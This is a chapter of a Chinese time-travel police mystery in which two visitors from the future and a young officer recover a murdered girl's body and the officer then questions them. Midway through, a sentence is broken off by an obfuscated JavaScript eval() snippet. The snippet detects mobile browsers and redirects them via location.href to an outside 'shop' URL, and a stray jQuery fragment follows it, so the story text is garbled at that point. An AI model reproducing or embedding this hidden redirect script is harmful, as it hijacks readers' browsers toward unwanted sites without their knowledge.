事实证明,寻桦真的是路明晓的亲传弟子。
蒲意松一只手拉着车门上的把手,一只手扶着前排座椅的靠背,膝盖也死死顶着靠背,忙得连骂人的功夫都没有。
啊?坐车忙什么?当然是忙着担心自己的小命!
当路明晓信誓旦旦地说他能搞来汽车的时候,蒲意松没觉得有一点问题,堂堂警察局,政府单位,暴力机关,就算在国家不咋富裕的年代,这种基本的工具怎么可能不配备?
但是他忘了一点,考虑寻桦的行事风格,以此来反推她师父是个怎样的人。
于是,在汽车发动之后,蒲意松才发现这桑塔纳除了喇叭不响哪儿都响!
而已经定好的计划必然是要实施的。
所以他才坐在这辆马上就要散架的老爷车里进山,蒲意松怀疑正是因为坐了三个人,才让这车保持在一个马上就要分家的平衡点上。
“停车!”随着副驾驶举着手电筒的寻桦的命令,路明晓立马一个急刹。
“操!”蒲意松顾不上抱怨,赶紧问发生了什么。
“前面是一条水沟,我记得再往前这车就上不去了,”寻桦说,“下车走吧。”
幸好警局手电还是有的,也很新,为了防止出现意外,他们三每人还带了两节电池。
蒲意松打开自己的手电筒,照了照前面,又照了照脚底下,前面黑漆漆一片,只能看见手电筒光照亮的一小片范围,山上全是烂泥路,走了两步,他来这边的世界新买的小皮鞋就沾上了泥点子。
“我说,”蒲意松哀嚎,“我们就非得今晚进山吗?!这能看见啥啊!”
“确实太黑了,不安全。”听到寻桦要站在自己这边,蒲意松都要感动了。
然后他就听见了这家伙的折衷方式,“你留下吧,我和路队去。”
“说了别叫我路队,”路明晓扒开灌木,用手电筒四处照了照,“不过据说这地方有狼,你要是敢待着也行。”
“有狼?!”路明晓大叫,“那更应该留下了,咱们明早再出发吧!”
看着不像是在开玩笑的样子,寻桦也犹豫了,要是真的遇上了,狼群可不是好对付的,何况还有个不咋会用身体的公子哥。
“你俩留下也行,我要去。”说着路明晓从衣服里抽出枪柄给二人看了看,“不过别想跑,不然的话···”他拍了拍放枪的位置,“你们懂的。”
“你怎么这么固执?”
“是啊,路队,呃,明晓,明天去也来得及,现在天气冷,尸体也能保存···”
“不是尸体,”路明晓反驳,“她有名字,叫楚晴晴,”他低下头,等了一会儿才继续说,“是个爱漂亮的女孩。”
是啊,狼,甚至还有其他的动物,寻桦想到了在清水中的女孩,看上去和睡着了一样沉静,还保持着能和妈妈见面的样子。
“我也去。”寻桦说。
路明晓点头,转身走进黑暗中。
“为什么?”蒲意松赶紧跟上寻桦的脚步,“怎么突然改主意了?”
“他,”寻桦示意蒲意松看前方的路明晓,“想把人完整地带回去。”
“为···”蒲意松想到了答案-山上有很多食腐的动物。
“所以,楚晴晴是知道了什么,才会落到他们手里?”蒲意松听完路明晓讲的那天楚晴晴来警局的事,发现他们不仅没解决疑点,反而扯出来更多的疑点。
“就在前面。”寻桦指着月光下更像恐怖巨兽的工厂,“绕过去,在后面的小溪里。”
虽然走了大半夜的山路,路明晓的右腿还是挺给力地没闹脾气,他加快脚步,快速甩开二人,朝着寻桦指着的地方去了。
“你不拦拦他?”两人在那间破旅馆的时候,蒲意松问过寻桦印象最深刻的案件。
所有的警察都是一样,她回答,自己没能救下的第一个受害者。
而看路明晓的年纪和他对楚晴晴的态度,这就是他的第一次。
不少警察,因此留下了一生的遗憾,甚至有的不再干刑警了。
所幸的是,寻桦认识的是二十年后的路明晓,知道他是个多么坚定的人,知道他能扛过去。
寻桦也扛过来了。
当时的那个小男孩在她手里越来越轻,或许是错觉,或许是人的灵魂真的重21克。
其实真正面对生命离开的那一刻,人的精神是麻木的。寻桦只是将小男孩送上殡仪馆派来的车,默默看着黑色塑料袋被合上。她甚至怀疑自己是不是天生冷血,不然为什么一点感觉也没有。
直到一周之后,他们抓到了绑架犯,写完结案材料报检察院批捕。寻桦迎着阳光出门,准备回家补觉,看见一群戴着小黄帽的孩子们在老师的带领下,摇摇晃晃地走上人行横道。那些跳跃的,象征着温暖的小帽子们突然间刺痛了她的眼睛。
铺天盖地的呕吐感袭来,寻桦顾不上找垃圾桶,扶着墙把前一天晚上吃进去的所有东西都吐了出来,接着是汹涌的眼泪。
寻桦这才明白,悲痛是需要滞后的,不然人的精神承受不住。
“没关系,下去吧。”寻桦拍了拍在堤岸上踟蹰的蒲意松,“至少他现在不会哭。”
天蒙蒙亮,湖西区刑侦大队的队长龙平带着浩浩荡荡一群人赶到了废弃工厂。
“龙队,”路明晓迎上去,“死者死亡时间在三四天左右,目前没发现有用的证据。”
寸头男人朝手心哈了一口气,搓了搓,视线撇向了紧挨着枯树的两人,“带他们回去做笔录。”
回程依旧是那辆松松垮垮的桑塔纳,金红的阳光从挡风玻璃处照进来,带来一丝暖意。
窗外是生机勃勃的群山,偶尔路过的村落上空飘散着零星几缕炊烟,这是一个静谧的清晨。
后视镜上,女孩和男孩头抵着头假寐,偶有阳光从他俩脸上掠过,照亮根根分明的睫毛。
女孩儿神情放松,而男孩的眉头微皱。
这与他们醒着的时候相反,寻桦给人的感觉是沉静的,像是山谷中的深湖,蒲意松则是拂过野花田的风。
相似的是,他们本身是隐藏在表象之下的。
也许他们不同的出身,造就了不同的现在,如果不是意外,按他们的说法是‘时空穿越’,路明晓不是很相信这个说法,但应该是真的发生
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483032|201857||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了某些事,他们的世界不会交汇。
幸运的是,遇到了能够相互支撑的人。否则的话,可能就像楚晴晴一样了。
路明晓忽然一脚急刹,后排的两人猝不及防差点被甩到车外。
蒲意松刚想吐槽几句,就见人冲出车去,蹲在路肩上呕吐。
“····他这是,”蒲意松伸着脑袋看了一会儿,问寻桦,“不去安慰你师父?”
被那一下把瞌睡赶走了,寻桦索性掏出纸笔,一边构思,一边回答蒲意松的问题,让他等个一会儿拿瓶水给人漱漱口。
局里显得有些冷清,大部分都出去跟案子了。路明晓把两人安排进不同的办公室,让他们把从发现楚晴晴到找路明晓报案的时间段内发生了什么一五一十写下来。
安排老王看着两人之后,去看大林办得怎么样了。
不幸的是,一切如他所料。
路明晓低头看看两份证词,又抬头看看端坐在他面前来历不明的二人,再低头看看证词。
除去行文风格的不一致,这两人描述的事件先后顺序和一些关键位置的用词都一样,很明显,已经对过口供了。
这在路明晓的预料之中,而时间,要么是来找他之前,要么是回来的路上他有一段时间放他们俩单独在车上。
基本和昨天口述给他的一致。
他的主要目的也不是为了知道发生了什么,而是拿到他俩的证词。
寻桦字迹端正凌厉,用词和行文风格有很明显的警察痕迹。而蒲意松则完全是唠嗑一样的写法,其中还夹杂着英文。
从这两份证词来看,他们在自己的身份上很可能没说谎。
但是,“系统上查不到你两的身份信息。”他拿出平时对待嫌疑人的态度,“说!你们是谁?!”
蒲意松被这一拍桌子吓得火气上涌,寻桦倒是很平常,她也老这么干。
“这不是更能证明我们是从未来来的吗?”她双手撑着下巴,似乎有些不耐烦,“而且,除了我们,你不知道该相信谁,对吗?”
“你什么意思?”路明晓双手抱胸,身体后倾,靠着椅子。
寻桦看见他这一连串小动作,心想果然还是菜鸟好糊弄,问什么答什么。
“大林是后来的重案组长,也是跟你共事最久的兄弟,所以,我也挺了解他的。”不过有一点没想到的是,四十六岁的大林是个胖光头,二十来岁的时候居然是个清秀的小书生。
大林给他们拍照的时候,寻桦就觉得不对劲了,他似乎很执着于拍清他俩的脸,不怎么在乎试纸。
按路明晓说的‘查了他们’,那就是把他俩的人脸放到系统里比对了,没想到系统居然这么早就建成了。
但是大林没有出现场,而查他俩的信息也花不了很久,所以还剩下一种可能,“楚晴晴案子上出了事,对吗?”
路明晓心里惊讶,脸上倒是绷住了。
寻桦继续说她的推测,“我们在小溪边待了挺久,局里的人是天蒙蒙亮才来,你先把现场全部搜完了才叫的人,因此,你知道会有哪些证物,然后,大林给你传来的信息里,少了很关键的一样,对吗?”